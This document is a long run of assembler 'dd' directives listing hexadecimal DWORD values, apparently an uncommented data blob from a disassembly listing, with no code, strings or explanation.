		dd 98A3185Bh, 562A6CB0h, 1DDC5E52h, 0A00694E7h,	11AB4Fh
		dd 0C52DB7CAh, 0EB92DE31h, 8AE2933h, 702100C0h,	50042DBFh
		dd 9C18E61Bh, 3350871Dh, 90F0EE17h, 84EB0C58h, 12188C59h
		dd 9F1D50A0h, 27081E0Ah, 2B089C31h, 0EFB80092h,	3A58280Ah
		dd 0A3906664h, 0C42DB660h, 3CC63123h, 0BE006DC4h, 7BFF2A2Dh
		dd 13DF1F83h, 0FE73D087h, 0D325C400h, 13EB2E5Fh, 4ECBEDB7h
		dd 7989C404h, 0EBC02CB0h, 0B346BA7Fh, 0AF0F5B22h, 80C7EBB8h
		dd 31E14211h, 0B32D01ABh, 2B3D66C8h, 40C8A86Ch,	942DB946h
		dd 0A21233FCh, 207F4062h, 302A9CB3h, 0B7C94C1Ch, 7160E64Dh
		dd 20B8C802h, 73D5091Bh
		dd 12007C7Fh, 7DEB811Ah, 50290132h, 0E6ED49Ah, 0AE67CD92h
		dd 8AB95007h, 0CC98F6ECh, 56FA2500h, 9757966Bh,	904F7DAAh
		dd 1FC14658h, 0EEE83483h, 0A7C03091h, 772E347Ah, 744A3732h
		dd 4F5990D9h, 4B2853AEh, 0BE469899h, 872A097Ah,	0D81CBAEAh
		dd 2AA1B007h, 1FC01B18h, 1C77E61h, 3FEC90E5h, 603A60F6h
		dd 1E8C7D18h, 0D1B6EBC4h, 805788D3h, 19EBBCB3h,	9300ADDBh
		dd 29CD8F2Ah, 4813E340h, 8A815C65h, 20B1A0EBh, 91ED72ACh
		dd 9787B8B8h, 218EFA2Ah, 9FE04E5Ch, 0A6E5C22Ah,	2008B100h
		dd 1790E28Dh, 0E9C80B7Bh, 1C1D7349h, 60AB0308h,	4492464Bh
		dd 56750E00h, 67F605FCh, 0A4E61F65h, 4C0643Dh, 814D6090h
		dd 18BEFB8h, 384B168Ch,	30AAFF84h, 0A89682h, 337ACFD8h
		dd 38F69F5Bh, 3F9F4899h, 0E23C6800h, 3E58B5F5h,	9C51BC04h
		dd 0FF88204Eh, 809CF9C3h, 1810E59Dh, 0C0899B46h, 302CE458h
		dd 1F67CD9h, 8AF27046h,	96C5B0FBh, 203B9748h, 0EB037923h
		dd 0F817E5E4h, 6274DB6Ah, 9A4D50B7h, 7E447047h,	6858A960h
		dd 50A5743Eh, 0E34C0EE0h, 77A2358h, 0B4B9EBBFh,	0AE38ABh
		dd 29FEBB7h, 17FACF16h,	5DE58407h, 0D33270B2h, 3EC008Fh
		dd 0B0C0B5C8h, 0ED688A23h, 0E8AC5959h, 6B0B3508h, 3F4C703Eh
		dd 19D2328h, 31C22DBCh,	88C318B6h, 2D01C46Bh, 361F3D89h
		dd 0A1E1E425h, 94F74421h, 0B1711B06h, 312CA4E6h, 35892483h
		dd 91D097C5h, 0CC918054h, 3BBD31C3h, 0EC8203DEh, 6E122841h
		dd 5511A09Dh, 0C0C7409Dh, 1E2FA67Bh, 3A194100h,	0D0B86488h
		dd 0CC0C295Eh, 187679F0h, 17140716h, 905DCF30h,	4829A7B6h
		dd 50F649h, 8805FB2Ah, 0A42555h, 0D2E09384h, 5DCD830Bh
		dd 0A1C48654h, 2DB8048Ch, 62D631C6h, 0C06F20C2h, 2601B02Dh
		dd 0B7A3ADB6h, 0E98270F2h, 6E059CE5h, 8282BC84h, 9830BD58h
		dd 0EA88132Ah, 0E46C39C2h, 34392AA0h, 0F615826h, 20A0C57h
		dd 0E0075C1Fh, 0F83F8538h, 0E83120E9h, 96E0C48Dh, 0C6B048h
		dd 576F2A5Fh, 1856F8D0h, 424F3FAh, 0A00D60B4h, 544EF1AFh
		dd 26C0C188h, 3077EE2h,	395339Dh, 581ABD78h, 51B8E96Ah
		dd 18577144h, 0FF5600EEh, 725B17DDh, 9094035Dh,	0F6449C1Eh
		dd 0CF419630h, 0D0D29FF9h, 0C0DD40EAh, 2DBA01E3h, 18A631C0h
		dd 0C26988C5h, 503E2D00h, 1D0712F1h, 5DDD1FCFh,	0F5F2491Eh
		dd 0B1EC2C2Fh, 99009531h, 1C2BC1FAh, 2E884F66h,	0BC90305Fh
		dd 0ACA44DC3h, 0A5231C63h, 4F584655h, 5A0071ADh, 5D1E2BA0h
		dd 4D570169h, 0B520E087h, 73C3F0E3h, 6C4A8CA0h,	770151DFh
		dd 27050A79h, 59D20D8h,	0F48D3B07h, 1906FC2h, 74BC061Ch
		dd 8B706D15h, 0EC980E95h, 67D1234h, 90CC38FBh, 69DF2418h
		dd 53EFB738h, 7F2388A4h, 0B8EBC607h, 5A62E3F4h,	0EBBEB120h
		dd 65BC001Dh, 888D8C1Bh, 48253261h, 0BF0091A9h,	34088918h
		dd 0CE9E7099h, 80ADE918h, 0B3CB340Eh, 0FDE3819Dh, 94303233h
		dd 0C11E8C7Ch, 46F9BBEBh, 0AC006122h, 0A972EBB9h, 76EC7C26h
		dd 0CC022C2Dh, 7B465E7Ch, 0D7670076h, 41103EFAh, 0C3012068h
		dd 17C1E0D8h, 0D9C0B78Ah, 0A96C1331h, 39300789h, 0B8C6162Bh
		dd 84F850B0h, 0C3745982h, 11A4D96Ch, 18BCF8h, 22CF95B9h
		dd 0D6F250A7h, 0F4596017h, 5E104821h, 287166F5h, 0C4885462h
		dd 963484C1h, 0C47386F5h, 347BAA81h, 5487F4DFh,	1851E48h
		dd 3DE83C88h, 58726EDBh, 0E434F684h, 0E0A701B4h, 0D3605544h
		dd 71FD905h, 0F7124DB8h, 91609C30h, 3C3804CFh, 80BA06E0h
		dd 7D0B3134h, 851F6802h, 617BE601h, 9B18BCF4h, 0EA252A7Fh
		dd 25496CAh, 0C92AA3AEh, 0B8E78279h, 1BAB0442h,	0FE51BAB8h
		dd 3C34200h, 9096758Ch,	431800F2h, 35EFD023h, 0FA00493Bh
		dd 57B5B4BDh, 1C667CDh,	2BF768FEh, 739CA313h, 3079A2A8h
		dd 0C600E4DCh, 0E659D60Eh, 0E1179060h, 3F569C8h, 688B4178h
		dd 18066501h, 6711A796h, 60A93E41h, 3853D981h, 0FC2533CBh
		dd 50464A2h, 91556CE8h,	7B676081h, 9B03D4h, 0EB68D0D1h
		dd 2FF69269h, 0EA496B67h, 40B328A2h, 1D33CD00h,	5C7D042h
		dd 850EF3EFh, 0ED808194h, 4A890071h, 275D122Ch,	80100859h
		dd 0D51E33CFh, 1038DBD2h, 0EBBD00B0h, 44A79F30h, 0E17DE2D1h
		dd 54E3EA1Ah, 0DBB84081h, 2FEC8091h, 465ECC94h,	5C60FFCh
		dd 18ACBF14h, 0F56467Eh, 0AF1C9D4Bh, 33F6C4D2h,	604A3888h
		dd 1C05295Fh, 22030F18h, 0BA196F03h, 0BCD68862h, 30990281h
		dd 682974E6h, 60379CABh, 785EF381h, 59DD1CEAh, 0B20B7DCh
		dd 1B2D7440h, 0F6D1D820h, 0BF175FBDh, 34204F75h, 0F8DE9F0Ch
		dd 8DBA24C1h, 20050358h, 0F9C889C0h, 0C4FC1B42h, 0D1AE703Fh
		dd 0A2DC6390h, 0CF1930C1h, 963CE301h, 0EDE668ABh, 65E86E00h
		dd 0A95BA327h, 0E2E8453Ch, 9318AB02h, 1353002Eh, 19BD5540h
		dd 0DD026CECh, 12ED626Bh, 494AB6Ah, 9380E54Ch, 6C3FA31h
		dd 11C59ED1h, 0FF00216Ch, 1F82293Dh, 19BAD43h, 87C83215h
		dd 33EC2EF4h, 30BEA2E0h, 73EC317Bh, 93900CB2h, 0F4A06BFEh
		dd 72494A3Ah, 0FA70010h, 92893F5Dh, 0C75EF808h,	0E0839919h
		dd 51DAA858h, 7E01DEF6h, 82FA4A6Dh, 1DE0BEAFh, 98B80016h
		dd 9E8168B7h, 0C898D90Eh, 5A7150B9h, 4A00FF18h,	9119084Ch
		dd 2DE9E570h, 0B01B6A69h, 38619C99h, 0E51060C8h, 0E6FF2757h
		dd 7D009804h, 741B00EFh, 0F73608ACh, 18C39616h,	0A625A4E5h
		dd 0B77A0C38h, 9E403A39h, 0B905A8ACh, 0AE31BF2Dh, 6A07888Eh
		dd 10F32DC1h, 1031F4D1h, 0ADB59D01h, 6699C432h,	4262B642h
		dd 79805924h, 674187Eh,	0CD7C8034h, 112AA87Dh, 492AD04Eh
		dd 9B02946Fh, 64991568h, 65F4E1FBh, 80369210h, 0E5102701h
		dd 0D7D0F8A1h, 77F17C78h, 0ECF02872h, 0E1028CBDh, 0DCDBED26h
		dd 19E478D2h, 0F8742F5Dh, 0A9A460F2h, 19BE30CBh, 0D4E8F800h
		dd 0D90703F9h, 4DD2FE82h, 9879C5C0h, 6903F205h,	0F4497BF3h
		dd 8560104Fh, 9B1E1C2Ch, 3815C094h, 37C31AA5h, 1F1C5007h
		dd 0EDF35333h, 0C73AF43h, 99E802F8h, 668D656Ah,	6BF0908Ch
		dd 3151B661h, 0A82CD7EFh, 71764719h, 85EEEC63h,	0F6F9BEFCh
		dd 28B1C466h, 67185471h, 0F4112503h, 1137641Fh,	22170B70h
		dd 463090BEh, 348502C3h, 0E77E7095h, 7CA9008Ch,	0D77A4B34h
		dd 0CBD3A600h, 2EC7B4DFh, 4F74AB2Dh, 23A82FA9h,	0EAC6007Fh
		dd 3829CD55h, 8C0B8E0h,	7704D8F7h, 9D8425EBh, 1F313C00h
		dd 0B4A2FDA0h, 9C9134DBh, 0C12DBB80h, 448CBE31h, 0C3036CBFh
		dd 0B8F68B2Dh, 0DA319A74h, 0FB6A1110h, 36CD0F2Ch, 70A83E3Dh
		dd 0A8612900h, 47AB450Dh, 57A0A8F8h, 1FD11E05h,	0D31300C7h
		dd 20818861h, 153ACF07h, 3560E844h, 532EF673h, 0BA2394D0h
		dd 832A9501h, 70639AEAh, 2A9DB480h, 5570F08Bh, 8AF51F09h
		dd 5C3C02D5h, 39F08003h, 0AA66F17Ch, 8B5C194h, 6418ACh
		dd 77D55A0Fh, 9F746333h, 39DCAC9Ch, 8F5C5BCEh, 0BED4E17h
		dd 50E1BAFEh, 90C9B10Bh, 0FE031534h, 77CC3AC5h,	11D4268Ch
		dd 8674414Ch, 0C9DFE4A3h, 0B3675603h, 0F8AD8A4Eh, 29AE181h
		dd 0A9633B4Ah, 6851BF4Fh, 96180179h, 4B834202h,	0E0ACD250h
		dd 81B980F0h, 990BD34Fh, 802AAE8Ah, 0D5A70219h,	0E0F000E2h
		dd 26112824h, 8A38B564h, 38CA30FBh, 0BBE30EC6h,	516978A4h
		dd 0B7B82A01h, 1B66109Fh, 0FA79F068h, 2F025A9Dh, 802354h
		dd 904B3BC8h, 40491733h
		dd 44F425A0h, 672D10F8h, 48EC3B61h, 3B280BC4h, 0B68C3ACh
		dd 519B6010h, 34E540C2h, 18AB02E2h, 5B008B77h, 62D6A865h
		dd 59E632h, 5DF039D3h, 0D0A23897h, 0DDC23B17h, 5480049Bh
		dd 37ECE79Dh, 0BF5D661Fh, 467C842Ch, 4CEE0080h,	0FF281684h
		dd 0E0185827h, 6775984h, 2010725Ah, 102D8815h, 912C17E2h
		dd 909C805Bh, 17C7824h,	3E148BAFh, 24B44FA1h, 1A7FA63Ch
		dd 0EF069B90h, 0D814DD39h, 84B92078h, 0C04D870Ah, 7B00DFF6h
		dd 5BF4B7C8h, 3AAA5AE9h, 3562374h, 8486FBC5h, 171CC0E4h
		dd 0C8BE45DAh, 0B6696A06h, 8C68D699h, 8040193Ch, 1A49964h
		dd 0B236EFCFh, 0A9208BE3h, 9C08C66Bh, 624656C0h, 4FA0B006h
		dd 76C081BBh, 0A84D5B05h, 5DDE00B1h, 7C419ACFh,	130050AEh
		dd 727FB98Ch, 926C8F65h, 709909A0h, 0F058AF35h,	0EB473209h
		dd 0CDCD80B7h, 4C6A541Fh, 0D382F471h, 34C4C01Eh, 92D13E38h
		dd 5817DCA3h, 63C84CCBh, 0F652F7C0h, 44109530h,	0B8406403h
		dd 0EFB718BFh, 53F93173h, 0C7D5A20Bh, 0E64C8212h, 74BC2A1Bh
		dd 62000446h, 0B5B06C85h, 0C507E859h, 16AC1E6Dh, 0F710220Bh
		dd 7C645CEEh, 3D41FF44h, 1200C351h, 89C255A9h, 28074585h
		dd 0C1830610h, 11B52900h, 3B12C001h, 0CD860FD9h, 52028FE1h
		dd 11BDE68Bh, 665F0F1Eh, 5E5ED98Ch, 0F61470A1h,	0F1804C1h
		dd 89358A84h, 3335308Dh, 0C995FF1Eh, 0E90C0D63h, 51231708h
		dd 488400FAh, 5B674AE3h, 0E8166A63h, 20230E03h,	8940C359h
		dd 8104244Ch, 1A084466h, 0A1D7C021h, 0C293F10Ch, 89EB3803h
		dd 3F2A81BDh, 1F62B6Ch,	338F82EFh, 0B2343D31h, 2C35DE7Fh
		dd 398C5076h, 8911C358h, 80168844h, 1EC35040h, 890DCAF3h
		dd 0DB12D9B5h, 9DB32907h, 31850CF1h, 8BFD6185h,	536EC064h
		dd 0C8C35B61h, 448C5C89h, 53004319h, 14668BC3h,	0A14F82D9h
		dd 75BE09C6h, 2ED81C65h, 201C2362h, 150A04DBh, 802D563Ch
		dd 0B185C7BBh, 3B3BBC9h, 10507275h, 34222972h, 0D53AC65Fh
		dd 0C5071B23h, 68607743h, 28C03B55h, 3D2C9D09h,	0C5F0BD81h
		dd 4407D00Ch, 342885D3h, 14239C2Eh, 0BD09D101h,	44241659h
		dd 0B232A385h, 290680B5h, 9120CD8Dh, 64319056h,	5A615274h
		dd 5489C8C3h, 4217448Ch, 0CBC35201h, 2BB32EADh,	8213A920h
		dd 1561A102h, 81669000h, 99AE32F6h, 5D305562h, 4689E4C3h
		dd 1D226Ch, 8DC35545h, 4A3036BDh, 0AB135601h, 0E9F5DACDh
		dd 98009B57h, 0E1689E1h, 60B471A9h, 0F2BB6621h,	6BAD0D6h
		dd 8F0FA61Bh, 3161802Dh, 7C533B5h, 1AB28DABh, 0AE903h
		dd 0B7225A25h, 0FCA6EA0Eh, 4D26137Dh, 0A9122361h, 0E5BD4521h
		dd 208BE3A8h, 52772F8Dh, 1F4975FAh, 0E279421Fh,	6FF3016h
		dd 0BD31FD06h, 0C4A084Dh, 9B3BF66h, 398C5650h, 8913C35Eh
		dd 461A3874h, 61C35600h, 4BB4B241h, 6736487Bh, 8C19E8h
		dd 3B3FA7F3h, 0FE84E22h, 0CE631DC0h, 371244h, 39F19231h
		dd 0FADEE6C7h, 6604307Dh, 0F9BD4EBEh, 0DF8BA3C3h, 22E9FE20h
		dd 0A3FF71F8h, 0F01BA96h, 4EBC1E2h, 5E53D490h, 0E950F3F4h
		dd 0B4007D36h, 69B703ECh, 9D586Fh, 0FEA92DA6h, 858D8C87h
		dd 4640B949h, 7C26F093h, 64AC09A0h, 1A312B5Ch, 0E43390h
		dd 6CF84A6Ah, 3F64B4F5h, 0EDC850A4h, 3E1A5071h,	11050DBFh
		dd 4E0E41A7h, 0C01D88ACh, 0C2FE6AAFh, 8CF03502h, 6074CA20h
		dd 24EA5DEFh, 8472794h,	0FC3006BDh, 911413D8h, 1919D9E3h
		dd 80FEF8C9h, 0EDBEF785h, 7DBD120Ch, 1D660823h,	5C08305h
		dd 51258430h, 0D0630264h, 507DEA3Fh, 89F8F180h,	86C82404h
		dd 0C35FC357h, 387CF497h, 0C3570147h, 9B973921h, 959120BFh
		dd 0AA1F8D29h, 0EC8B4C39h, 0DE7C8C15h, 0A1852909h, 197A9032h
		dd 2599841Dh, 0FD181571h, 0EE9D518h, 1C7A115h, 76FCDB5Eh
		dd 0C0304CD9h, 0A70031D2h, 0D89D8DDDh, 0C60613AFh, 852F91D2h
		dd 0BC2BD359h, 84C20127h, 0ABC5A7A9h, 6EE60AFh,	9CF8188h
		dd 271F857Ah, 1419FF82h, 13C40305h, 405D5D8Ch, 984DE929h
		dd 43E837A3h, 0ED81C20Fh, 1D274AE2h, 801D11B9h,	67489FBBh
		dd 0D6303A52h, 5E86493h, 8F2DC606h, 4686087Dh, 8BF90101h
		dd 640BA59Dh, 7A0EEF94h, 0CE271B4Dh, 9F010BE3h,	801D1163h
		dd 11F9A9EEh, 0E9FD05CFh, 42A7187h, 513D988h, 0C382DB0Bh
		dd 0A6971A94h, 58821611h, 776232A6h, 83F78980h,	125122BDh
		dd 84EC8DA8h, 88D83111h, 8B0DC102h, 0A067E9FBh,	5F2E970Fh
		dd 1E2051A8h, 2A2CFBDCh, 13154674h, 0A8012E32h,	3D950160h
		dd 4A04C155h, 61031D15h, 357527E9h, 880B1260h, 0CC569Dh
		dd 4FD66171h, 0F266C13Ah, 0FDBF7B02h, 93786099h, 81408453h
		dd 9EBA44DFh, 41836848h, 88B94FE9h, 33B6C718h, 60AA8319h
		dd 2AF91BC0h, 0A6E1B38Bh, 23810EC1h, 0E95CFEFFh, 18147134h
		dd 2989A003h, 8C66801Fh, 1067DB5Ch, 0F61230E5h,	0A0FD83C3h
		dd 0BC36394Dh, 218E037Eh, 2C20DEECh, 2D016212h,	404E1FDDh
		dd 0B9C01C88h, 0C1D43Bh, 0C93FB78h, 0B501FCABh,	2E3ED14Dh
		dd 5D609E90h, 16B1C880h, 0A03276Eh, 40FDE866h, 0EE194587h
		dd 2813AD00h, 622717ECh, 0F8B40129h, 0D3B952A6h, 0E6622E9h
		dd 3F8653h, 64EE9E0Bh, 8A440006h, 0D017DA9h, 5F184D7Eh
		dd 602F05E9h, 63CA1EF9h, 0E12F9A1Eh, 0B8E04CCDh, 2420D9D2h
		dd 11A83011h, 22E04C08h, 61602402h, 0D32406A9h,	310A10B0h
		dd 8802418Dh, 2E006222h, 0EDFDEB2Ch, 7831778h, 723902E1h
		dd 54F923B5h, 70E661E0h, 255CF9B8h, 0FF08965Ch,	71E40B0Fh
		dd 1A117D1Dh, 26C4F80h,	0F6248296h, 85087125h, 0B60F0128h
		dd 0DABAF9D8h, 0FD9F5071h, 12C3EEA2h, 86F1BD33h, 25203E6Ah
		dd 0E8C11305h, 23E33A04h, 0E0EF001Ah, 0FA6E9A01h, 118C2048h
		dd 0F7020D65h, 0D82BF5E2h, 17448047h, 97A26560h, 8B93DA04h
		dd 0A98750F0h, 0F825BD08h, 0F288589Ah, 0C9CE6EB7h, 0E85EDC12h
		dd 9700E491h, 5C797D11h, 0D64300AEh, 58B12AE9h,	3902A23Fh
		dd 7F5A10D2h, 708402Dh,	95E48AAh, 5F928B25h, 936DF109h
		dd 0CC2BC2C1h, 8A063D20h, 21CD9B02h, 0BE030F44h, 5D2941Dh
		dd 4841EA31h, 13613CC9h, 40AA830Fh, 66EE81F2h, 70496407h
		dd 6A424900h, 26B0549h,	5A1FC16Bh, 0FB4955BAh, 612E0944h
		dd 0C0001B23h, 20302C6Dh, 0DDB3248Eh, 7444A420h, 0B8001846h
		dd 45D4AF0Dh, 0E6128166h, 1D5D69D6h, 0BB8ECEC1h, 22200BB4h
		dd 0E0D0F260h, 5A3E078Dh, 0A461FE8Ah, 0D4B48753h, 8B5E031Eh
		dd 4358E2F9h, 0FC5AED02h, 0DFB853Eh, 1AC80CCFh,	28DEA0CFh
		dd 308D7F1h, 5CBB60B4h,	66D02E12h, 42F588BAh, 14648CD0h
		dd 0B0CE930h, 0A55052h,	7C4DA4D2h, 78B92931h, 0B1990373h
		dd 41BD2B06h, 0C1832CAFh, 1C4676E0h, 0A9A7CD00h, 13335250h
		dd 0F919616h, 0BE003F97h, 0E1511526h, 0A8526769h, 86E4Ah
		dd 309640FCh, 960E8EAh,	10B19D23h, 8E7A99CAh, 250F6144h
		dd 451AF1BFh, 317D4782h, 381197D3h, 0B3B77B76h,	5BF80575h
		dd 75ED0EF5h, 32C32D11h, 60510061h, 0B281BD29h,	48B2EEC9h
		dd 0D33831B1h, 4A61E41Ch, 853505E9h, 0A5C08BF9h, 0C18F201Eh
		dd 5C602141h, 0BB49A75h, 18D6D51Bh, 1180FAB7h, 9D89F188h
		dd 341C5A81h, 8806CB7Fh, 2BF3C01Bh, 0F50A11DFh,	0A6D052C7h
		dd 4530550Bh, 0BBBE601Ch, 7C4F66C4h, 7156FF32h,	0DC010ED9h
		dd 682BCE00h, 0BE3879AFh
		dd 54CA07F8h, 0B5B25FA4h, 0F17ED269h, 0F548C436h, 8C19E8h
		dd 79C1B7CBh, 8E0F1608h, 30661FA1h, 8D1389FDh, 0E8292A01h
		dd 799F488h, 0E8A49014h, 97098C16h, 5603EC8h, 0A0507159h
		dd 84510D1h, 580CB87Dh,	0B3801DE9h, 0FF90D43Ch,	9C00C1FEh
		dd 33EC0439h, 0F6D1505h, 0F976DC6Fh, 3202F8C9h,	0F366890Fh
		dd 20DBD19h, 1EC59563h,	1BE2E073h, 0FEF0BA31h, 0E94E0A2Fh
		dd 892ACB2h, 23020FE5h,	0F2151BDh, 360140F4h, 8D0703FCh
		dd 88964E65h, 0D564C117h, 2A61F260h, 9D041423h,	8852EDBDh
		dd 8D03A609h, 0FFB9F68Eh, 0F1FBB8C3h, 0AF90120h, 9373CB3Dh
		dd 0D8BC21E4h, 0EBB9FC61h, 0BF1815D1h, 0F88B3F13h, 0DA80929Bh
		dd 7436998Bh, 4F20B71Eh, 0E11828A4h, 5AE95ECBh,	0D1411084h
		dd 148C14E8h, 0B5C18B2Dh, 8C1CE8h, 0A02A9E2Fh, 0BCEE264Ah
		dd 1073B058h, 354F0EEDh, 49250481h, 0A8E62411h,	46D1B5A0h
		dd 77337616h, 0C620908Dh, 61578908h, 5F3A016Dh,	4DE13C50h
		dd 0CBBCA5h, 99BC4D64h,	85892381h, 584AB15Dh, 67D52A56h
		dd 40EF9F8Dh, 0BA7F7122h, 535E174Fh, 0DCE40088h, 19B501EFh
		dd 5C357DBCh, 4600BE6Fh, 9190C682h, 8404E4B2h, 20959D01h
		dd 0F3053109h, 81B9A419h, 8D3C1D41h, 905F5709h,	50F96B80h
		dd 0A70CBE60h, 14737204h, 0A7617FDAh, 671944AAh, 85FA1500h
		dd 20C95A67h, 63490FC0h, 7674E702h, 736AF941h, 4D757846h
		dd 17BF433Ah, 0A717D534h, 81953021h, 6A2E7378h,	3C01F45Dh
		dd 82CABEBBh, 2AFCCF22h, 75F35A8Bh, 0A085F6C3h,	0B7176E4h
		dd 4626B26Bh, 0CDEEB54Ch, 8C421646h, 4C321BE2h,	43E42621h
		dd 0C4C51687h, 3EAFF322h, 0DB13433h, 0D108D982h, 1D8B62A9h
		dd 60A36D12h, 306410DCh, 66268802h, 0D1BB67BFh,	0A19DE4A5h
		dd 0B8B53986h, 0AB4F0DCDh, 0CDF095E9h, 0B22B031Ah, 31A9A785h
		dd 84427DE5h, 0EF419D8Bh, 0A58CC010h, 0A10C0396h, 1D10E999h
		dd 45E6587Bh, 0B99C4100h, 0A2B32535h, 7C74E505h, 6B33AEEh
		dd 870F5606h, 0BF023B05h, 3D9AC002h, 43E8D25Eh,	0ACA349B4h
		dd 0A6F40156h, 0E81B36D6h, 7D1D8313h, 0AB9520h,	0D2B7C642h
		dd 8C44B0EEh, 8209D47Dh, 44F96A10h, 0B6340045h,	5E2B1928h
		dd 0A32DBD83h, 3109911Bh, 0DE75A3ACh, 0AE957504h, 51820960h
		dd 7D8B0B0Dh, 5E5E7004h, 0C7F0BF42h, 4A3E8B85h,	0E04C4D29h
		dd 21AC0BDEh, 0E9536208h, 0F78B8A2Bh, 0FC104E32h, 143A8C15h
		dd 8D5F124Ch, 0E6813430h, 0A65516BFh, 2AF99D4Fh, 8F04606Ah
		dd 8157D236h, 6905D177h, 118D8FFCh, 1CAE82C8h, 0EBE43740h
		dd 0DC330315h, 0A5D28C1Ah, 4E2AC4A8h, 0E5087E02h, 59304822h
		dd 7E19A5D8h, 0F2C39E8h, 0C0DB6FE2h, 69DADDB5h,	0CFB803B4h
		dd 286AC9Ah, 32C19DB2h,	80E72853h, 0F1C6E5A4h, 387B0005h
		dd 0A067360Ah, 6C2FF761h, 5FC9828Ah, 0B949C05Eh, 0A1880965h
		dd 0AA47610Bh, 1C621444h, 2E4098F0h, 3D024E9h, 1D467C5Ch
		dd 7431500h, 19BCCD4Dh,	99E0D716h, 8356E800h, 7DD3B860h
		dd 233F0972h, 0DB40E18Dh, 66E0B061h, 32CF810Ch,	4F29900Fh
		dd 1DD7E23h, 897754BBh,	0E02C15BDh, 0C1F76267h,	8B71E459h
		dd 441DA166h, 6912C4C9h, 26C9F61Ah, 384010E9h, 0DB737h
		dd 8CC25F64h, 7533DC1Ah, 47894000h, 0B2C4EC8h, 7FC3588Bh
		dd 8C1CE8h, 0D4059A4h, 13607AC7h, 0E3E9CDEBh, 0FEEF2501h
		dd 23FC568Dh, 0AD046F8h, 37616078h, 0C83B3DB0h,	9BEE154Fh
		dd 2E13C7BCh, 0E8C58A45h, 5F99504h, 0FB897B1Eh,	6C18D82Bh
		dd 4500FCA0h, 0BDC007E0h, 568A8Bh, 0C9474053h, 0F4A9B64h
		dd 58A28352h, 0F75D2AE5h, 7EBF5DA0h, 11EBAA02h,	56241C89h
		dd 723ADC03h, 9D09099Bh, 5B2CC259h, 25C4316Fh, 0CF45392Fh
		dd 0D6D8489h, 2C47B009h, 0E0631544h, 0EF2980C4h, 54902CF3h
		dd 570307B4h, 1636056Ah, 0CC278566h, 2412207h, 5B5DF830h
		dd 0C50521AFh, 0AF261D31h, 3C9302F1h, 564450C6h, 1CB18FA0h
		dd 0E5425E81h, 79134AFEh, 0AA990179h, 0FED20210h, 0F8E6C980h
		dd 5924798h, 0BC0EFA86h, 2E713CFEh, 6A5F806Ch, 391A6DCEh
		dd 921EEF13h, 2913A44Bh, 1914D17Fh, 0F9BF1940h,	783D9B58h
		dd 0F0007499h, 76072635h, 0CB6C7DC2h, 2969F1F0h, 82641763h
		dd 0C500CAB5h, 4EB92B9Bh, 88D48F07h, 0E8F5C116h, 6D213098h
		dd 0D6A075Bh, 0B3001B23h, 27962158h, 0B6EFE2BBh, 0C3029801h
		dd 0C12CB52Bh, 0F24F6D1Bh, 0B204FA6Fh, 0B8CD504Ah, 311A2D64h
		dd 6010A8EEh, 5D658D29h, 75986121h, 4498A75Bh, 0D5BA6017h
		dd 0BE0E0166h, 27A5546h, 3851EE2Bh, 0E0181879h,	0B5F2D01Ch
		dd 1B09E88Ch, 2BA3001Eh, 0E03B352Fh, 604F7E9Dh,	0BE8BAD8Ch
		dd 5E6142F8h, 2B114CDBh, 18A26553h, 6536130h, 0E9BFF455h
		dd 0A1811B29h, 8B463471h, 8D9BC04Ah, 54F2C980h,	3F5BD16Ch
		dd 859B7F52h, 0BB519280h, 0F117723Dh, 0F012F219h, 8BE4E8A5h
		dd 285B5D31h, 8B144FBCh, 8B856F9h, 3B23619Dh, 16C18D08h
		dd 0B7C262A7h, 4B2CAC1Dh, 48929C47h, 19E2AAE3h,	41BA230h
		dd 31B021EAh, 1FF9E8h, 8483CCC8h, 0FCDB5248h, 81A800ABh
		dd 606ED8D7h, 0C9905E35h, 0CE1EE927h, 0A4BE05D3h, 9925C58Fh
		dd 301C344Dh, 0D79D144Fh, 0F8A82E6Dh, 35453B00h, 2F20D759h
		dd 0E0821FBFh, 0A690926Fh, 3D3FE019h, 1283722Eh, 0E25CE829h
		dd 1EF3002Eh, 63B314B0h, 8321B191h, 358DD79Ch, 81403DD0h
		dd 0A574043Ah, 0C0256D85h, 15C4DD67h, 8D096009h, 126DD095h
		dd 4939BD01h, 320161A1h, 20D6B460h, 0D20B534h, 0E04A8828h
		dd 0D5860ED9h, 0DE21F1DAh, 60849313h, 0DD5F8DB7h, 0DF817740h
		dd 774534DBh, 0D11A910Ah, 3F231817h, 72C897BCh,	58192910h
		dd 5B700BCAh, 33E090E8h, 0E3B60031h, 9EEA1618h,	0AA02A83Fh
		dd 952948D9h, 49F5569Dh, 5E52F7F2h, 3114E248h, 802A68E3h
		dd 0DDC97E71h, 12E8F606h, 88FA8B46h, 4378F269h,	7E27A30Eh
		dd 2E303A7h, 0E505D033h, 7C790B5Dh, 0F05EFBDh, 0B3B0271Dh
		dd 0FD8CFFF7h, 0A2B8FDh, 26E484CFh, 40AA2950h, 0BD4A7474h
		dd 0C3A70AD5h, 16D6C6A0h, 0C2F92801h, 0E88F4296h, 743E3Dh
		dd 524EF65Dh, 9CD725D1h, 2C707700h, 68FE5045h, 0EADE0281h
		dd 5F3996A8h, 0ACA6D9D9h, 18AF3ADEh, 0B6507198h, 8B951D9Dh
		dd 30D946E9h, 0C63507E8h, 6670EF60h, 0B82A682Eh, 8B6A4A60h
		dd 0C4A80389h, 465B27F6h, 0FEF7B3F8h, 678CC512h, 81095BF0h
		dd 0ED98C65Fh, 16077643h, 9C2F5C88h, 0E104802Eh, 5EE903Dh
		dd 0BDEB6C86h, 0FB6FB0F4h, 524C5071h, 4DC4C078h, 4832C59Ch
		dd 645092C2h, 0F82700BEh, 0F5F79E3h, 58255A31h,	9DD3790h
		dd 0E8042986h, 4F4CA87Dh, 3E87AA9Eh, 168D20F5h,	8517B015h
		dd 0C3052C65h, 2D032E81h, 0AAF1D4BEh, 0DAC08175h, 0BFF41427h
		dd 31743B4Ch, 90F709DBh, 67BE5A78h, 37B9FA67h, 8F398201h
		dd 81692AFCh, 81E624F5h, 715E600h, 0BD0908ABh, 0DC2A4F8Dh
		dd 0B52E2960h, 19ADEE75h, 0DE983181h, 53D33112h, 0B70F5613h
		dd 5FA307C5h, 59680351h, 0FD60E4E3h, 9531FE38h,	0DA014AB1h
		dd 27855843h, 648A6701h, 4773601Dh, 53AF0102h, 0C0939CBh
		dd 0DE7E60D9h, 8B94F903h, 11297D9Dh, 5A1D8DF7h,	50530535h
		dd 769DFBD2h, 14467CD1h, 90DFD24h, 6BC42815h, 7C2D8379h
		dd 56DC1226h, 0DEDD2E69h, 0BDF56700h, 8CEDC9EEh, 51E9378Fh
		dd 0B0B5621h, 85562400h
